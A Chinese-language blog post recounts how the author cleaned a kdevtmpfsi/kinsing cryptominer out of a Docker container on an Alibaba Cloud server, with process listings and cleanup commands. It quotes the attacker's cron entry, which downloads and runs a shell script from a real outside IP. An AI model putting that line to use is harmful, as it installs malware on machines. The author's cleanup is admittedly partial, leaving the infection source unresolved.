前言
【阿里云】尊敬的吴彦祖:
经检测您的阿里云服务(ECS实例)存在挖矿活动。根据相关法规、政策的规定及监管部门的要求,请您于2022-08-15 00时前完成挖矿问题整改,否则您的服务将被关停,详情请查看邮件或阿里云站内消息通知。
若您有其他问题,可登陆阿里云官网在线咨询
一条短信,开始了和kdevtmpfsi
的故事。
初识
登录服务器,top -c
看下进程信息:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3195280 root 20 0 714116 267756 2708 S 99.7 14.4 19:05.65 /tmp/kdevtmpfsi
发现/tmp/kdevtmpfsi
占据了99.7%的CPU资源。
毫无疑问,这家伙应该就是挖矿病毒了。
百度一波后发现,确实是它,以及它还有一个叫kinsing
的守护进程,ps -ef | grep kinsing
:
root 3195051 3142956 0 22:13 pts/0 00:00:00 /etc/kinsing
初次交锋
直接 kill -9 3195051 3195280
杀一波进程。
top -c
再次查看进程,挖矿无了,CPU恢复正常。
正准备鸣金收兵,竟发现:
阿里云控制台ECS实例的CPU曲线居然又拉了起来。
事情并不简单
看来不止是杀个进程这么简单。
问了一嘴阿里云客服,对方丢过来一份挖矿程序处理最佳实践。
简单总结就是:
删除执行文件 => 杀进程 => 检查并清除异常端口 => 检查并清除异常定时任务
试一下。
一、删除执行文件
ps -ef | grep kdevtmpfsi
看下新起进程PID:
root 3197558 3142956 95 23:10 ? 00:40:19 /tmp/kdevtmpfsi
说明病毒的执行文件为 /tmp/kdevtmpfsi
。
head /tmp/kdevtmpfsi
大致看一下却提示:
head: 无法打开'/tmp/kdevtmpfsi' 读取数据: 没有那个文件或目录
居然没有这个文件?
难道病毒在容器里?
docker stats
看一眼容器状态:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
68825e3ec789 gateway-service 100.55% 810.7MiB / 1.776GiB 44.58% 0B / 0B 293MB / 52.2MB 107
1fcf77218204 watchtower 0.00% 12.2MiB / 1.776GiB 0.67% 8.03MB / 1.82MB 30MB / 0B 8
2a5700773074 nginx 0.00% 7.227MiB / 1.776GiB 0.40% 172GB / 172GB 33.8MB / 0B 3
真的在容器里!
docker exec -it 68825e3ec789 /bin/bash
进容器看看。
top -c
看下容器的进程:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
13786 root 20 0 714116 268084 2708 S 99.7 14.4 67:42.02 /tmp/kdevtmpfsi
是他了。
head /tmp/kdevtmpfsi
大致看下病毒的执行文件:
ELF>U@@p?8@8@@@?8?8 8??t??
??@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???
全是密文。
rm -f /tmp/kdevtmpfsi
删除。
可是,报错了:
rm: cannot remove '/tmp/kdevtmpfsi': Stale file handle
无法删除。
百度了一波,也没找到有效信息,甚至发了个新的提问。
这一步无奈只能暂时跳过...ORZ
二、杀进程
这个上面有,不再赘述。
三、检查并清除异常端口
无异常。
四、检查并清除异常定时任务
crontab -l
果然有定时任务:
* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1
百度了一下这个IP:
91.241.19.134
来自俄罗斯·莫斯科
crontab -r
删它。
这一套下来,进程终止了,定时任务也删除了,虽然病毒文件没有删除,但想到定时任务已经被删除,应该没什么问题了。
气氛逐渐焦灼
但是:
过了约20分钟,kdevtmpfsi
进程又重新起来了,并且随着新起的病毒进程,容器里面竟然也有了个新的定时任务。
这不对啊,定时任务怎么也有复活甲???
难道定时任务的背后还存在定时任务?
在宿主机和容器中分别执行 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
看下所有用户下的定时任务,很遗憾,一个也没有找到。
这是见鬼了啊!很难受。大招连同DF都放了,但是对面居然有无限复活甲。
迎来转机
一筹莫展之际,上面发的那个提问有位北京的大佬回复我说尝试一下重启。
试了一下,进程果然无了。
大佬牛逼。
总结
如果你的 Linux
服务器中招 kdevtmpfsi
挖矿病毒,并且该病毒进程存在于 docker
之中,那么你可以尝试以下步骤来解决:
一、查询宿主机中的病毒文件并删除
find / -name "*kdevtmpfsi*"
查询病毒文件。(我这边没有找到)find / -name "*kinsing*"
查询守护进程文件。(找到两条记录,删除其中任意一条另外一条也随之删除)
二、查询宿主机中的定时任务
crontab -l
查询当前账户下的定时任务。for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
查询所有账户下的定时任务。
若有异常定时任务(我这边无),执行 crontab -r
删除。
三、查询病毒所在的容器并进入
docker stats
查询异常容器的CONTAINER ID
。docker exec -it
进入病毒所在的容器。/bin/bash
四、查询容器中的异常定时任务并清除
crontab -l
查询定时任务crontab -r
删除定时任务
五、查询病毒的PID及其文件路径
ps -ef | grep kdevtmpfsi
查询病毒的PID及其文件所在位置;ps -ef | grep kinsing
查询守护进程的PID及其文件所在位置。
六、删除病毒文件
rm -f /etc/kinsing
删除守护进程文件。rm -f /tmp/kdevtmpfsi
删除病毒文件。
我这边删除会报错。
不过问题不大,你如果也报错,可以直接忽略这一步,不影响最终消灭本次病毒。
七、终止病毒进程
kill -9
八、退出容器并重启
control + P + Q
退出容器docker restart
重启容器
时间过了很久,没有新的病毒进程再自动起来。
这次的病毒算是解决了,虽然它下次还会来,但至少掌握了单次解决它的方法。
尽管病毒文件和守护进程文件还在,但应该没啥作用了,如果强迫症觉得这个文件删不掉很难受,可以 vi
进去 dG
删除所有内容后 :wq
,这样一来,和删除其实没啥区别了。
大佬们若有更快捷的解决方式,或者能在源头阻止感染的,不吝赐教。